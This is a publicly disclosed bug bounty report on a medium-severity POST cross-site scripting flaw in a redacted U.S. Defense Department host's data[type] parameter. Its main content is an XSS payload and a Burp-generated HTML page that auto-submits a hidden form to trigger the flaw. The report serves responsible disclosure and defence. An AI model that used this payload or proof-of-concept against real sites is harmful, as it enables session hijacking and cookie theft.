HexBrain

U.S. Dept Of Defense · Report #3127154

POST XSS - data[type] parameter

Validstatus
mediumseverity
5upvotes
12 Jan 2026disclosed

How it was found

Description: I discovered a Cross-Site Scripting (XSS) vulnerability on ███████ , specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.

Vulnerable parameter: data[type] Payload: <img+src=x+onerror=prompt(1)>

References

███████

Impact

Exploitation of this vulnerability can lead to severe consequences, including but not limited: Session Hijacking: Attackers can steal cookies and impersonate legitimate users.

System Host(s)

███████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Use this code in your own website to execute the XSS Method Post.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="████" method="POST">
      <input type="hidden" name="data&#91;account&#93;&#91;addedon&#93;" value="2022&#45;11&#45;22&#32;00&#58;51&#58;28" />
      <input type="hidden" name="data&#91;account&#93;&#91;confirmcode&#93;" value="ydtgsonuk4xk" />
      <input type="hidden" name="data&#91;account&#93;&#91;confirmed&#93;" value="0" />
      <input type="hidden" name="data&#91;account&#93;&#91;description&#93;" value="" />
      <input type="hidden" name="data&#91;account&#93;&#91;email&#93;" value="testing&#64;example&#46;com" />
      <input type="hidden" name="data&#91;account&#93;&#91;externalid&#93;" value="" />
      <input type="hidden" name="data&#91;account&#93;&#91;firstname&#93;" value="fnfOzvSR" />
      <input type="hidden" name="data&#91;account&#93;&#91;id&#93;" value="4925" />
      <input type="hidden" name="data&#91;account&#93;&#91;imagename&#93;" value="" />
      <input type="hidden" name="data&#91;account&#93;&#91;integration&#95;id&#93;" value="" />
      <input type="hidden" name="data&#91;account&#93;&#91;ispublic&#93;" value="1" />
      <input type="hidden" name="data&#91;account&#93;&#91;lastname&#93;" value="fnfOzvSR" />
      <input type="hidden" name="data&#91;account&#93;&#91;lastupdate&#93;" value="2025&#45;05&#45;05&#32;04&#58;48&#58;36" />
      <input type="hidden" name="data&#91;account&#93;&#91;password&#93;" value="e76fde21f8d373be2038ebd5c2d2e4cf" />
      <input type="hidden" name="data&#91;account&#93;&#91;phone&#93;" value="555&#45;666&#45;0606" />
      <input type="hidden" name="data&#91;account&#93;&#91;salt&#93;" value="" />
      <input type="hidden" name="data&#91;account&#93;&#91;status&#93;" value="1" />
      <input type="hidden" name="data&#91;account&#93;&#91;updatedby&#93;" value="0" />
      <input type="hidden" name="data&#91;account&#93;&#91;username&#93;" value="testing&#45;mmzhrrdb" />
      <input type="hidden" name="data&#91;type&#93;" value="Register&lt;img&#32;src&#61;x&#32;onerror&#61;prompt&#40;1&#41;&gt;" />
      <input type="hidden" name="error" value="" />
      <input type="hidden" name="eval" value="" />
      <input type="hidden" name="message" value="Congratulations&#33;&#32;Your&#32;account&#32;has&#32;been&#32;created&#33;&#32;You&#32;still&#32;need&#32;to&#32;activate&#32;your&#32;account&#32;before&#32;you&#32;can&#32;log&#32;in&#46;&#32;Please&#32;check&#32;your&#32;email&#32;to&#32;activate&#32;your&#32;account&#46;" />
      <input type="hidden" name="redirect" value="" />
      <input type="hidden" name="tracking" value="&#47;thank&#45;you&#63;trackpage&#61;1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Suggested Mitigation/Remediation Actions

Apply context-dependent encoding and/or validation to user input rendered on a page

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original